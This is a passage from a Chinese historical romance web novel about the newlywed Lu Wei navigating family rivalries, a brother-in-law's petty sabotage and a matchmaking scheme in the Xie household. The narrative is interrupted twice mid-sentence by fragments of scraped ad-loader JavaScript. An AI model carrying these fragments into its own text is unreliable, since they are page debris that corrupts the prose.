御前站班一如之前,可谢探微的心境到底是不同了,无事时,满脑子只有露微。想她执意独自回了谢府,如今是守着规矩和母亲一处,还是自己在屋里消遣,或至有无按时吃饭,睡觉有无贪凉,此等大事小情虑了个穷极。 “嗳,你!过来。” 思绪正如放马,不知哪里说话,抬眼四顾,方在殿侧阑干下瞧见一个女子,艳妆华服,应是内宫贵人。然而此处紫宸殿,虽是内朝,紧邻后宫,他却头回见有女子踏足。 “就是你,过来。” 已然对视,这女子又抬手指来,他身为司阶,又是殿前戍卫中的长吏,不好再迟疑,终究应承前去: “臣谢探微,不知贵人有何吩咐?” 贵人闻言一笑,颊上描得两笔斜红似倒钩般,衔着扬起的嘴角,颇是冶媚,“我知道你叫谢探微,但我不叫贵人。” 谢探微行礼后仍略躬身,目光亦是守礼避垂着,可越发不知她是何意,便一时不言,却又听她道: “你怎么不问我是谁?”话落,却自左手脱了一枚琉璃指环扔在地上,“替我捡起来。” 谢探微顿了一顿,两手已不觉握拳,终于明白这是在戏弄他,“外臣不便为此。”他只退开数步,将身躯压得更低。 “哦?”贵人语音带笑,却又迫上来,高头履一步踏在落地的指环上,便有碎裂之声,“我怎么觉得你不是外臣?你母亲是新安郡主,算来是与我有亲的。” 谢探微自然知道因母亲之故,多有宗室亲缘,但只看她既能堂而皇之地站在此地,又这般作态,便不是皇亲,身份也低不了,故而并无意外。 “我都说到这般了,你当真不想知道我是谁?” 见谢探微再次不理,脸上又摆着一副避犹不及的漠然态度,贵人终也露出些许愠色,只是扬过声又猝然一笑: “我知你是新婚,可是你如此不解言笑,岂不要冷落了你那娇妻了?这女人是什么心思,不若我来教……” “臣还在职上,先告退了!”情势已到了获罪也忍不下的地步,谢探微勃然一呵,随即转身回到了阶前。 然而,也隔得不远,那贵人轻薄的嘴脸仍朝他拂来,许久才拖裙走了。这时,忽有身侧站立的执戟郎向他小声递话: “司阶,她是陛下的大公主,鲁阳公主,是周贵妃的女儿,可得罪不得啊。” 谢探微不禁蹙眉,竟是听过这个名号的。母亲才到咸京时曾应酬过一些宴席,其中便有这鲁阳公主相邀的。 “只是公主出嫁不到一年,驸马就病死了,如今丧期还不满。” 谢探微复是一惊。 …… 午后落了一场凉雨,将炎炎暑气压下不少。李敬颜一时起兴,便命后园水榭设席,叫叶氏传话,引了露微前去。 露微在谢家摸索了这几日,已知内政无一不是李氏做主,而李氏虽不多外交,在家倒时常自娱。如今长女回门,又多了她这个长媳,自然场面又不同些。 她心下思量过这些,脚步已到了水榭连廊,再一过眼,果见水亭席间母女宽坐,四目望来,都是笑意。 “你原在做什么呢?我倒怕你正睡着。” 方走到亭中正欲下拜,露微便被李氏扶住,又搀到了自己身边落座。她虽不好辞,仍颔首向对面竹榻上的谢探渺致了一礼。见谢探渺摇头一笑,她才放心回了李氏: “母亲,我不大午睡的,原是正整理临好的字帖。还是前时父亲给太子殿下布置的,我因辅教,太子要做什么我便一样,明日正是要去交差的。” “那可以先给我看看吗?”接话的却是谢探渺。 她自亲迎礼次日新妇拜家门时,便一直打量着这位弟妇,只是那日多在礼数上,不得亲近,不过看了个样貌,倒果如母亲所述,明媚清丽,亭亭似月。 如今再细看,弟妇着了身远山青的齐腰长裙,一无繁复纹饰;头上松松的一个反绾髻,一支祥云玉簪斜插发间便再无点缀;脸面更是素清雪净,只见一双明眸。当真是个脱俗的美人。 “我只是想,我那梦郎也在学书之龄,若能得你的指点,岂不是他的福分?”见露微迟滞了一瞬,谢探渺又补了句。 然而,露微却是有两重思虑。先是不料,想自己并未从小苦练书写,字迹仅算端正,远不到指点蒙童的地步;二则,她听谢探微描述长姊,除了是些人口情况,其余皆是不甚了了。而她更知,二十年疏离,长姊自是与另一个弟弟更近。 于是其中分寸,难免是要谨慎琢磨的。 李氏却瞧露微是为难,挽过她的手,轻拍了拍,“你不知,旁人说起我们谢家娶了个做东宫女官的新妇有多羡慕,是陛下亲封,不同寻常宫官,就若朝官一般,满朝独你一个,也非命妇诰封可比。所以微微啊,你长姊也只是羡慕,但你若不好意思,也无妨的。” 实则露微已想好了应对,却是晚了李氏一步开口,可也算意外之喜,李氏待她当真瞧不出一丝姑媳间的样子,不若当年华氏……一时参差,忙回转心思,颔首道: “我只是想我的字并不好,以前常被阿娘打的。”说着便与跟来的雪信吩咐,叫去取临帖,“梦郎当写得比我好罢。” 谢探渺的眼睛仍在露微脸上逡巡,见她先是犹疑,望向李氏时又若惊若惭,再转到自己这处,神色又是无所矫饰的,便倒拿不定她的主意,索性一笑: “他连笔都握不稳呢。我不如你,无心笔墨诗书,教不了他。他父亲虽是进士出身,却忙于庶政,更无暇管他。扬州家里聘了老师,此来咸京却叫他寄了水云身了。” 这固然是些谦辞,露微只听提起梦郎之父,便想到谢探微的交代。姊夫徐枕山是开和九年的进士,出身扬州诗礼门第,家中长子,双亲逝后做了家主,仕宦十载,已是扬州长史。 因谢探渺上京时尚不知他们婚事,并未夫妻同来,故而徐枕山倒是接了岳母家书,才告假随后赶到。露微只在拜舅姑那日见了一面,是个品貌端正的官人。听说连日都被岳丈携在身边,侍应朝参出入,当必是个很受宠爱的女婿。 “学书习字终为修身,是长久的事,梦郎才八岁,长姊不必着急的。” 说笑间,忽闻廊外传来动静,三人皆循声看去,却见是谢二郎两手各牵了甥男甥女走来,而两个孩子手中竟还扬着些纸张。旁人未必着眼孩子手里时,露微已断定了,就是自己的临帖。 “夫人,奴婢回来时恰遇上了二公子,他……” 雪信亦随后到了,仍站回露微身后,悄悄递了话。露微只摇头示意,再无需她多解释。她既已正式进了谢家的门,这位二公子,想也该要添酒回灯,旧宴重开了。 谢探隐在亭中站定,即松了手让孩子去了外祖母身边。八岁的梦郎生得雪白滚圆,头上两个总角,益发可爱;他妹妹徽儿不过六岁,也是双髻,粉白俏丽,与母亲相像。 “怎么是你带着他们?不读书,又胡闹了。”谢探渺虽是嗔怪,却已起身与弟弟送了帕子,叫他擦汗,“还不来见礼?” 露微旁观至此,其实早见二郎瞥来几眼,含笑不语,先起身与他作了一礼。谢二郎亦从容,握着帕子就将人一一唤过: “见过母亲、长姊,还有——长嫂。”这两字语音略重,却又收音迅速,转向上座,“母亲,是梦郎和徽儿说想外祖母了,知道长姊又在这里,才央了我来。” 李氏如今膝下孙辈就只这一双外孙,素来疼爱,一见了早是忘情,拢在怀里亲个不停,儿子叫到这第二声才抬起头来,只随口回道:“来就来了,坐吧。” 谢探隐便择了长姊的下席坐了,吃了口茶,又道:“阿娘,你仔细着点他们手上的东西,倒折坏了。” 此一句前,除了露微,无人关注到孩子手里的字帖。露微也知孩子手中不防备,难免折损,却不急,果然等到二郎捺不住,这才轻笑说道: “那不过是我临的帖,春蚓秋蛇一般,原是不堪入目了,就给孩子取乐,也不值什么。二郎不必替我操心,多谢了。” 李氏原已不察,闻言忙将字帖从孩子手中夺了,归在一起翻看。纸张薄柔,确也经不起几番磋磨,张张都有残破的。 谢探渺也和李氏一样,从弟弟转到孩子,心思都在天伦亲情上,竟都忘了是自己叫露微去拿字帖的,顿时满脸涨红,拉了孩子推到露微面前,申斥道: “什么玩的没有?你们也是认字的,看不出是什么东西?还不快向舅母道歉!” 李氏亦难堪地转向露微,忧切问道:“微微,这可怎么好?明日就要送去宫里了,不若叫人回去问问太傅,就实说是我不慎,能不能宽过两日再去?” 孩子与露微尚不熟悉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,听母亲责备,又见外祖母这般,只嗫嚅着唤了几声舅母,已怕的快哭了。可露微只一摇头,先从案上取了果子分给孩子,安抚着才回道: “母亲,长姊,当真无事,我再写就是了,来得及。”说着,从李氏手里接过那沓字帖,翻看了两张,忽一哂笑,回瞥了一眼身后的雪信: “这些是废稿,母亲传我,我来得急,随手与好的放在了一处,雪信定是没分辨,竟拿错了!这下更无事了!” 李氏母女皆大松了口气,而露微又及时地将目光送向了后头的二郎,见他脸色已然闷滞,只又埋头端了茶吃,那小茶碗不过一两口的量,却吃了有半晌不曾离嘴。 “长姊可别怪孩子,他们才几岁。”一句非是出自水亭的幽淡声音忽而飘来,众人循声,却见是沈沐芳袅袅而来。 露微亦是在拜舅姑时才见了她第二面,但初见时的一记耳光早已不觉,心里又存了杨君游的这桩事,便虽不及与她深交,倒觉得她应该不是一味骄横跋扈的女子。 露微于是暂未言语,但其余人也都知道沈沐芳与她的旧案,尤其是李氏,面露尴尬,只忙问道:“芳儿,你怎么来了?”多少有些提醒她是不速之客的意思。 然而沈沐芳倒十分自在,一一礼过,竟主动坐到了露微席侧,从宽大的衣袂下举出手来,“表嫂,我是来送东西给你的,二表兄方才从奴婢手里要了来,却不见风吹走了一张,恰好被我拾得。” 她手里真是拿了一张自己的临帖,但露微一时愣住没有接下:她竟是在帮自己揭发二郎! 二郎带着孩子来时,虽不提他们手里的字帖,但既然遇到雪信,定问了送字帖的缘故,便是故意叫孩子拿了来损坏,将错都推到孩子身上,叫露微这个新妇无处责怪,只能自认委屈。 而果然,李氏母女都一时因孩子的出现,不曾想到他的错处,只是怪自己,或是责备孩子。便是露微已经巧计反制,也不能十分直白地指责二郎。 于是沈沐芳这一句话,当真是明敲明打,也为她自己化解了身份的尴尬。只不过,这份善意着实突然,露微还不能参透。 “多谢。” 迟过一晌,露微终是在沈沐芳的笑意中双手接下,再抬眼时,已见谢探渺坐了回去,朝二郎暗瞪了一眼。李氏岂还不觉,微一摇头,微一叹声,再没了半点消夏的兴致。 …… 小宴散去,已将暮时,送罢尊长后,露微追上了沈沐芳的踪迹。她原先走一晌,却是坐在后园石上,不曾回房,见露微寻来,亦无惊讶,先开言道: “你那些当真是废稿?还是诳那蠢货的?” 露微便知了,沈沐芳正是在等她来,一笑道:“真是废稿,我才到你们家来,怎就敢好为人师指点外甥呢?断不敢领这差的。可没想到,你那二表兄反竟喜欢为自己揽差办的。” 露微无须对她言假,既见她直率,不免更爽快:“只是我不解,你怎么知道他是个‘蠢货’,还肯帮我?我叫雪信拿的是废稿,可你拿来的那一张不是。” 沈沐芳挑眉一笑,摇了摇手中罗扇,“如你所言,你是才来,可我已经认识那厮十几年了,岂能分不出高低?至于那张好字,只是叫人另去你房里取的,有什么稀奇。” “你为什么肯帮我?”露微没听到最要紧的那条答案。 沈沐芳倒没迟延,仍摇着扇,向露微走近,“我看到了,那位晏将军来府里警告他,吓得他腿都软了。他嫉妒大表兄,但不敢撕破脸,便连带大表兄这份,都加在你头上了,每每对他母亲进谗。所以我也不妨再说明白些,舅母虽向着你,却难免慈心过甚,表姊更不必说,就是为这蠢货来撑腰的,你以后的日子可精彩了。” 这番话有露微不太清楚的,但也都不出她的意料,“第三遍,你为什么帮我?难道是,为那一耳光有愧于我?” 沈沐芳终于凝了笑意,罗扇恰停在颊边,掩去了半脸,只露出一双并不大善藏的眼睛,“就算是吧,你我交好,也可让那蠢货少生些事,对你有益。” 道理不错,却又以锋芒的措辞说出来,反有图穷匕见之妙,露微豁然一笑:“你其实,不喜欢谢探微吧?你另有意中人,他叫——杨君游。” 罗扇翩然,飞坠青苔。 露微弯腰与她拾起,交回她僵硬的掌心,“正当长夏,休急捐扇。” 60.参差 露微回到东院,已是掌灯之时。午间雨停后天一直阴沉,此刻天际便只剩了一点混沌的灰白。饶是如此,又忽有黑云载雨,伴着滚滚雷声倾泻而下,汹涌之势,如拔山倒川一般。 “怕不怕?” 露微与雪信、丹渥前后才进房门,三人皆被惊雷吓了一跳。因她二人都比自己小些,露微脱口就问了声。二人倒是不怕,相视一笑,左右扶了露微坐下。 雪信道:“不防备都会吓着,有了一声,其余的就没什么了。夫人忙了这半日,累了吧?想吃什么?” 露微在水亭已用了些果饼,并不觉饿,看着依偎身下的两张清秀面孔,忽生感慨。她自小并不喜人跟随,诸事都可自理,但自从二人前后来到身边,既体贴也忠心,已让她依赖上了。 原本出嫁前,乔氏也想跟来,但父亲的起居饮食仍需乔氏打理,她便终究留了乔氏。加之如今赵家内政交了长嫂朱氏管理,也需乔氏从旁辅助。 “你们今晚就随我睡吧?左右长公子是不会回来的,他五天才一假,现在才第三天。” 二人见露微一时不语,还以为她在想吃食,却是这话,当即齐齐摇手,连称不敢。露微又劝了一回,还是无果,便由着她们去安排晚食了。 屋里静了,外头仍是雷声填填,风雨潇潇。虽已紧闭了窗户,却经不住那般狂劲透进湿寒。露微索性和衣上了寝榻,歪在枕上养神。不意,却一眼望见那人枕上落了根头发。 露微将发丝捻起细看,乌黑柔韧,也分不出是他的还是自己的,一笑又一叹,心里忽而寂寥起来,“你在做什么呢?雨这么大,雷这么响,你怕不怕?” 她自语的声音淹没在雷声中,不曾入耳,却紧接着,分明地听见了另一个低缓的声音:“微微。” 她断定自己听岔了,已稍离枕上的脸颊又贴了回去。但心里愈发突突起来,像是怕,眼中便一热,却又不及拂拭,竟有一双手自她腰间卷了进来: “微微,别怕,我回来了。” 眼前人如梦似真,但人醒着岂会入梦,“你怎么——回来了!” “是我之过,让你一个人了。” 谢探微见她眼角含泪,鼻息随着一颤,便有两股清水自两耳后顺延脖颈淌了下来。 露微这才惊觉,将这人从上望到下,竟似塘里捞出来的一般,再一觉,方才腰间被他环住的一圈也洇得半透了,“快去换衣裳!”一声叫得急,音调都偏了,等捧了干衣回头,这水猴儿还愣着,“烦你自己动动手吧?” 谢探微果然动了动手,挠了挠沤着水的领口,“怪痒的。”又站了片刻,将脖子一圈都撸过一遍。 露微只觉闷气,这时,偏雪信丹渥端了晚食进来,也不知这人忽然回来,一见个如山的黑影,险些跌了手中食案。露微只好推了推他,自去接下食案,叫去准备浴室。 “我换了衣服就行了。” 露微侧目一瞥,将食案不轻不重地一放,“你别换,穿着再下水就是了,泡在水里总是不会痒的。” “那你哭什么?”谢探微似充耳不闻,附到露微身畔,两手背起,以靠得最近又不曾触碰的姿态。 “被你吓的。”露微只是低头看着饭食。 谢探微望着她低垂的眉目,淡唇微抿,两颊略鼓,便知她有隐瞒,“微微,你怕雷对不对?别骗我,阿父都告诉我了,所以才亲自替了我,叫我回来陪你。” 露微诚然是遮掩,却断没想到这话,“阿父如何觉得我怕雷?我不怕啊,你看我都一个人在屋里呢。” 谢探微半信半疑,先将缘故说了。原来就是春天里,露微拦着晏令白在府前说话,天上忽然作雷,冷不防惊了她一跳。“难道这不是怕?阿父又岂会编胡话?” 露微这才完全记起来,由衷一笑,也不同这人计较了,“你先去沐浴吧,想也该准备好了,我等你回来陪我。” 谢探微一听软话,浑身即刻都要蒸干了似的,就在身侧帘帐上抹干了手,扶了露微坐下,“我叫她们先来陪你。” 这人随话音就去了,片刻就换了雪信丹渥进来。露微瞧来,忽想起之前要叫她们一起睡觉的话,脸上一阵发热,看来以后当真不能随意估量了。 等谢探微再回来时,雨声小了些,但天鼓未断,仍时有高低。“这怕是要闹一夜。”将露微抱持怀里,他才通体安生了,“这几天可还好吗?都做了什么?” 这人不问,露微也是要说,但连日可说的就只今天水亭那一桩,便隐了谢二郎的事端,多说了几句沈沐芳。露微也知,谢探微最担心的就是沈氏再欺负她。 谢探微倒无心琢磨沈沐芳究竟是何性情,只听露微受用,也放了心,“我听叶娘说母亲已在为她议婚,你不便,我明天就去吏部走一趟,让杨君游早来提亲也就是了。” “数你聪明绝顶,别人都传不了这话?”露微听来嗤笑,仰面蹭住他的下颌,“杨家要娶我,说遣媒来就遣了来,比你家都快,可为何我们大事了了,也不见他家上你家来求?” 谢探微于内事上自是一根直肠子,况又不是他的心事,“为何?”一偏头吻了下露微额角,满心足意地一笑,“他家再快也没用。” 露微不欲与他闲扯,将杨家的诸多顾虑直接说了,也都是听淑贤转达才知,“我今日见,沈氏也怕是有心无力,所以才示好试探于我,你先别惊动得上下皆知,再计较吧。” 谢探微其实听得云山缭绕,就大约知道杨家学官清流,不喜攀亲高门,便乖乖应了声,“好,一切你定。” 当下也到将歇之时,谢探微见她已揉了两次眼睛,便收了心,要将人抱去榻上。方才起身,倒听门外雪信的声音: “郡主遣人来说,今晚雨大风大,恐夫人独寝害怕,要接了夫人去同郡主一道安置。” 夫妻闻言同声一笑,谢探微回道:“告诉母亲我回来了,明日一早再去请安。” 外头即没了动静,他仍拥了露微上榻,替她抽去发间玉簪,拢过长发,才轻轻推到枕上,“睡吧。”玉颜雪白,粘了几根青丝,若刻痕般,他亦细细拨开,“我替你捂着耳朵。” 露微笑笑,朝他胸口挪了挪,埋住脸,“我真的不怕,我其实,是想你了。” 他不觉一咽,身躯随之发紧,“好。” 不知好什么,天气尚不好,灯烛也昏昧了。 …… 晨起天已放晴,夫妻先去父母处请了安,便携手往宫中去了。谢探微自还有两天的班要站,但露微辅教罢了,午后便回了谢家,叫丹渥请了杨淑贤过府,另有打算。 一夜雷雨,东院池塘的水涨了几圈,竹枝花叶也多有残败,婢仆们收拾毕,却将一个广口白瓷水盂端到了主人眼前。露微一看,倒是卧了几尾花色鱼儿在里头,多少有趣。 “想是涨水气闷,这几条就飘在岸边。奴婢瞧着五颜六色的可爱,就捞了来给夫人玩吧。” 说话小婢原是谢家派在院里洒扫侍奉的,露微只知她叫宁婉,先前还不曾交言。如今倒见她伶俐,谢了一声,留下了东西。她亦不多话,随即告退走了。 一旁,淑贤刚到吃了口茶,见状凑来,却笑得促狭,“瞧,这便是如鱼得水的绝佳注解了。” 露微岂不知她在映射取笑,却就陪着她笑,随口说道:“我听敏识说,近来有人去将军府问冬至的亲事,倒是令人好奇。” 那人手里的茶碗忽然滑了,当空磕在案角,又跌在竹席上,一直滚到门槛,撞得清脆一声才停,“是,谁家?” 露微起身捡来茶碗,于两掌间揉搓,慢悠悠道:“我不知。”回到坐席换了只茶碗,仍斟了茶推到她面前,眯了眯眼: “他前时金殿受赏,风光无限,春闱放榜还有当街捉婿的呢,天子赐恩,满朝衣冠虽各有班序,心里眼里却只怕没了礼法,早将女儿的嫁妆都捋过三章了。” 那新茶未曾得幸于娇客,小小的水面也照不全花容,“那他怎么说?”话音带出气息,倒把水面拂得一抖,洒出几滴。 露微摇头:“说了不知,不过你——”拖得冗长的一个音,“就先收下这些鱼吧,我送你了。”白瓷水盂也在案上放着。 淑贤只略抬了一眼,“我不要。” “果真不要?”露微一挑眉,用指尖敲了敲水盂肚,“你不要鱼,那你的刀不就无用武之地了?” 淑贤一惊,脸色瞬间涨红:“什么刀?又,什么鱼。”几个字,渐渐声入尘埃。 露微用力抿着唇,直直逼视,教她不敢再回避,一掌拍案,终于亮声:“刀是短刀,鱼名冬至!你指点我办差倒是爽快,如今他成了俎上鲜鱼,你竟还等我给你磨刀呢?” 三言两语,取其精华,淑贤再是羞臊得满额发汗,也再犟不出一个字来,到底是认了,牵着露微的衣袖,道:“我是喜欢他,可是他不说,我怎么说?万一他无意呢?” 露微原也不为为难她,想她以前劝自己和谢探微时,说得道理无不通达,如今到了她头上,也玩起春秋笔法来了,倒也可感可叹。便一笑,将她扶正了,正经劝慰道: “你是不好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 提,可他都能送你贴身的短刀了,应该不会无情。只是他那个性情,恐怕也不自知。贤儿,只要你愿意,我都帮你。” 自从母亲去世,亲姊出嫁,淑贤的心思早是无人可诉,自去岁与露微交往渐繁,才算有了出处。此刻一听露微愿为她操心这等大事,不禁无限动容,朝露微偎去,近乎哭了出来。 露微亦待她如亲妹,拍抚着又细细宽慰许久。然而今日既唤了她来谢家这处地点,却不单是为她一人,点了点她的脑袋,叫她起来:“好了,也矫情够了。” 淑贤嘻嘻一笑,早转了心情,坐正后先将那白瓷水盂捧到了面前,“多谢阿姊,我收下了。” 露微白了她一眼,“你阿兄……”却还不及半句,门下忽转来了李氏和叶娘,竟不闻通报,“母亲!” 二人慌忙站起来行礼,照例是被拦下,李氏牵起露微,瞧了眼案上显眼的白瓷水盂,“虽然好看,倒不要自己近水去捉,万一失足滑了就不好了,别让母亲担心。” 露微一笑,将鱼的来历说了,“母亲放心就是,只是母亲亲自来,是有什么要事吗?” 李氏顿了顿,却将目光移向了杨淑贤。她早在亲迎礼上见过淑贤,知道姓名家世。“我听微微叫你贤儿,我也这样叫你吧?贤儿,你今年多大了?” 淑贤原就站在露微半步之后,听李氏说话,正暗暗瞥眼,感叹李氏慈爱,为阿姊高兴,忽然听见李氏叫的是自己,不由一怔,迟疑才道:“回郡主,我是开和三年生人,已足十六岁了。” 李氏含笑点头,分出一手也将淑贤拉到身侧,“你们既然要好,今后还要像之前一样常来往才是,就是住上些时日也无妨,千万不要拘束。” 两人俱是闻宠若惊,尤以淑贤,满脸红云,不知何以回答,埋下脸去。露微却另想着李氏有何要事,还没告诉,便又道: “我和贤儿可以改日再说,母亲的事才是要紧,请母亲吩咐。” 李氏尚未听完就摇起了头,将二人的手交叠一处放下了,“我只是来看看你,没有要紧事,你们玩吧。” 还没有半刻的工夫,匆匆来去,二人都觉得奇怪,但也说不上来。仍重新回坐。 “那你今天可要住下吗?”露微顺口想来李氏的话,但不及淑贤回应,神色一凝,却忙改口:“罢了!你别住。” 淑贤正端起露微第二次倒的茶,只听得后一句,不解其意:“什么?” “记得把鱼带走,再没有了。” …… 见李氏离了露微那处脸上的笑就没落下,叶氏却是早有底数,道:“午后正热呢,难为郡主走一遭,怕不是只为看看夫人吧?” 李氏只等她来问,但其中心思也是才起的,“你瞧贤儿那孩子如何?” “倒是和夫人不同。”叶氏悠悠地打着扇,“家中幼女,父兄都是那般清流人物,长姊也很有贤名,她自该是个胸襟骄傲,爽心豁目的女孩子。” 李氏深以为然:“微微才貌自不必说,只是到底受苦,心思重些,我不愿她遇事自苦,可总也有大郎体贴不到之处。若能得贤儿与微微做了妯娌,本就交心,共担家事,就没有再好的了。” 叶氏明白这道理,也知如今谢家就剩二郎一桩大事未了,“可是二郎还在读书,近来也不得意,家翁只是为大郎婚事放了他出来,怕是不许他忙这些,郡主只先与家翁商议看看吧。” 李氏也只是先同她起草,尚不算想得周全,便点点头,一时不再多说。此刻脚步才到东院院门,只几步路就出去了,却恍见门下先踏进来一人: “芳儿?” 沈沐芳也不意能碰见舅母,她只是来赴约的,晨间露微遣雪信与她传了一句话,要她午后过来。“舅母,我来找表嫂说话。” 李氏原是一直着她与露微那桩旧案,但经昨日水亭情形,倒看她两个似已和解,她改口改得也自自然然,便也不好太偏,淡笑道:“芳儿,你母亲近日可又来信没有?” 沈沐芳却都看得懂李氏辗转的神色,也不在意,“没有,舅舅舅母待芳儿如此好,母亲还能有什么不放心的?” 李氏瞧了叶娘一眼,复一笑:“家里无事就好,那你去吧,微微正在西厅。” 沈沐芳含笑施礼,将李氏让出院门,方依着廊庑去了。 李氏并未去远,驻足回望,不禁蹙眉:“芳儿何时待微微这般殷勤了?” 叶氏也不解,但心底比李氏多了一件事,便是谢探微前时忽然问起沈沐芳,犹疑是否索性说了,可似乎也已无足轻重。 61.见山 长子婚事完善,李敬颜便将沈沐芳议婚之事重新提了上来,幸而如今长女也在身边,便是多个帮手。这日母女同坐,将别家递来的函帖尽数看过,倒也选出三四家适配的。只是再从优中择优,却又拿不定主意了。 “芳儿到底是沈家的女儿,又不姓谢,姑母难道宽心至此,就一点也不管了?”谢探渺见母亲操劳,只是为亲戚担责,婚事又不比琐事,来日或有长短,未必沈家只念恩不记仇,便太不值了些。 李氏想的却是沈家近年家门不济,她那小姑谢道龄,昔年未出阁时,也是家中掌珠,受尽宠爱,后来却遭中年丧夫,子弟不肖,心中同情,不免是要将心比心的。遂叹了声,笑道: “就算是你姑母将女儿继给我了吧,芳儿也是我瞧着长大的,虽是从前骄纵了些,近来却越发省事。我看她与微微相处和睦,也真是心里高兴的。” 谢探渺不期然听到后半句话,目光缓缓转到那几份难以抉择的礼函上,纤指轻轻翻动,心思已不在这字里行间: “微微是长媳,虽是如今侍奉东宫,也不会是一辈子的事,迟早是要承奉宗庙,执掌中馈。既如此,有她做主的一日,便也不能丢开沈家这门亲戚。所以倒不如现在就请她来,帮着酌定,将来也算是对沈家有恩,更教族中服她了。” 若尚不见沈沐芳与露微交好,李氏只宁愿自己一力揽了,何苦多事。可她也说二人已有改善,又觉女儿所言是为露微长远计,都是在理,忖度片时,当真让叶氏去唤了露微。 露微正无事,随意拣了书看。一见叶娘来请,听闻缘故,虽甚觉意外,却也早知李氏在为沈沐芳议婚,再思及沈沐芳与她交心所言,一并这家中人情缘故,倒也很快有了计较,从容前去。 到了母女跟前,李氏即挽了她到身边落座,又命人端茶打扇,见她脸上热气退了,才说起事情。露微自然应承,先将那几家函书看了,倒都是五品以上的达宦门庭。 “微微,你看哪个好些呢?”谢探渺眼见露微看到最后一家函书,便适时地发了一问。 露微只先向李氏抬眼,嘴角衔笑,“长姊中意谁家?”目光才随话音落到谢探渺面上,却也不要她答,继续道: “我父亲昔年主事吏部时,我也知晓几家,年年考官都是上等,家世也清白,倒不在这些函书之列。” “那你是说这些都不好?”谢探渺似乐见露微不选,目色都亮了一亮。 李氏亦好奇,问道:“微微,你知道的是哪些人家?若有好的,何妨我们主动去问。” 露微吸吐了口气,作思索之状,仍瞧回谢探渺,“我虽自小理家,却从未办过婚嫁之事,可长姊不同,自幼得母亲言传身教,如今也是当家主母,定早已办过姊妹婚嫁,还是请长姊先赐教,为我点拨这几家的长短,我也好对比来看,方不算冒失。” 谢探渺倒等着露微说知晓的那些人家,不料峰回路转都推到了自己头上。便才惊觉,露微果然有些精明巧思,不似表面一尘不到。 而既这般,二郎与她传信所提及的许多看法,或许也非完全的偏论——她对露微,原多是好奇试探之心,母亲一味宠爱,她也无谓与做弟妇的相争,如今倒不能轻视了。 想罢,她的神色早已黯淡下去。她既原未用心去看,叫了露微来,也不过是想替母亲分责,那些为露微在族中加恩立威的话,也只是捡中听的说,便又怎会甘愿自己去蹚这浑水。 “我是办过婚事不假,可对咸京各家人情却不熟悉,选不出高低。你若也拿不准,不若改日再议吧,又不是急事。” 露微将她脸上细微的愠色接入眼底,这是意料之中的满意答案,却也夹带着意料之中的遗憾而来:长姊果真不肯真心相待。那这真心,就暂且抵作彼此间的浮文套语吧。 “母亲。”露微掩下心肠,转向李氏一笑,“便不是急事,那我就提一家吧,请母亲放在一处再看就是了。” 李氏听她那番话,只觉得她过于明理,过于拘束,便也以为她不会再说,此刻自是睁圆了眼睛,“你说,你说。” “国子监司业杨家。”露微在余光里再次收下谢探渺的愠容,比刚刚稍显了些,但李氏无暇瞧见。 “杨家,那不就是……” 露微坦然地点了点头:“母亲也知我与杨家的关系,我也见过杨家公子,就是贤儿的长兄,是个端正的人。” “这倒有些不妥了。”谢探渺置了刚要拿起的茶碗,碗底触案,硬脆一声,将她尚未散去的浅愠又饰了一层似是关切的正色: “你哪里不知?父亲母亲去你家提亲前,杨家也遣了媒。便叫外人看来,未必不说我们先以势压人,后又赔上一门婚,岂不难听?” 露微只是顿了一顿,“此事长姊原来也知。” 谢探渺的正色已溃了一半,瞥了眼李氏,“只是母亲说起来,当时见杨家先一步,怕误了你和大郎,不是别的。” 李氏欲解释,先挤了女儿一眼:“渺儿,议婚而已,有前后遣媒不是常事吗?不要胡说。”才转看露微: “微微,母亲当时只见有媒人,倒不知就是杨家。如今也算了解了杨家,母亲答应你,会好好想想,好吗?” 露微自然点头,含着笑移目谢探渺:“长姊也别担心,外人并没跟来我家旁观父亲母亲提亲,怎会以此饶舌?他们只会知道,我与大郎是天子赐婚,谁敢议论天子?” 谢探渺残存的颜色消散殆尽,却还是要在片刻的沉默之后,撑起笑意:“这倒也是。” …… 露微只身随叶娘去了半日,回来时已是薄暮。雪信和丹渥循例来问晚食,却见她脸上苍白地伏在榻边,竟不知发生了何事,急着要去请医,又被拦下。 “郡主叫夫人过去说话,难道没人服侍着?夫人可是热着了?”二婢相视无解,只能猜露微是暑气所致。 “你家夫人想是累着了。” 露微尚不及回应,声音是隔窗传进来的。二婢不辨是谁,丹渥先起身去看,才听露微低声道: “你们去备晚食吧,我和沈娘子的。” 二人愣了片时,前后点了点头,未及出门,已见沈沐芳走了进来,一袭石榴裙,光彩照人。 “你倒真生了一双长目,一对飞耳,虽千里而隐微,瞬息可知。”露微自榻沿撑坐起来,话音透着与脸色不符的笑意,“但我也只能提到此处了,究竟如何选,在母亲。” 沈沐芳仍摇着那日露微捡起的罗扇,拣了妆台前的杌凳坐下,“我连你都招惹了,还不能笼络几个主院的小婢么?这手段你也学学,简单,管用。” 露微轻笑:“等你嫁出去了,再把这些耳目转赠我便是了。”歇了歇又抬眼,“我连贤儿都替你引荐了,你却还没和我说过你与杨公子的事。” 沈沐芳歪了歪脑袋,鬓边的玉燕步摇轻撞在扇面上,两线流苏抖动交缠,又钩在了发丝上,却是问: “你那般说辞,是不打算在表姊面前装一装了?这下明里暗里,那姊弟两个更要勾连了。” 便是如此开门见山,露微倒也不料她能解自己的选择,释然道:“母亲一直在帮你择婿,并不算急,是真心要定一门好亲的。可是今天却是长姊提议我去,她未必不知你我的公案?都不用再想,她就是想让我蹚浑水。” “我是浑水,你就下水摸鱼了。”沈沐芳掩唇一笑。 露微抬了眼,继续道:“前几日在水亭,她便是在试探我,既早已先入为主,我一味避让,她反而会生出真情不成?我看她急着让我定,也算急中生智,打了个我父亲的幌子,给她现修了栈道。你这事,原是难在杨家不愿攀亲,我果然听到母亲愿意主动去问,才能顺水推舟。所以,今天真是巧合,本来还觉得要从长计议。” “就算你对杨君游无意,又和贤儿要好,就舍得如此帮我,你又不傻,为什么这么傻?” 隔了半晌,沈沐芳忽以郑重的口气问道,但她声音本细柔,佐以正色便天然显得几分稚气。露微倒觉得有趣,想已解释了是凑巧,但她问得却另有章法,也是懂的: “你定知道,谢探微曾为我惊驾,被父亲鞭了二十下,但你可能不知道,杨公子因为拒婚,也为你挨了浑身的笞打。我当然不傻,我只是能体会他的心,对你,也是一样的。” 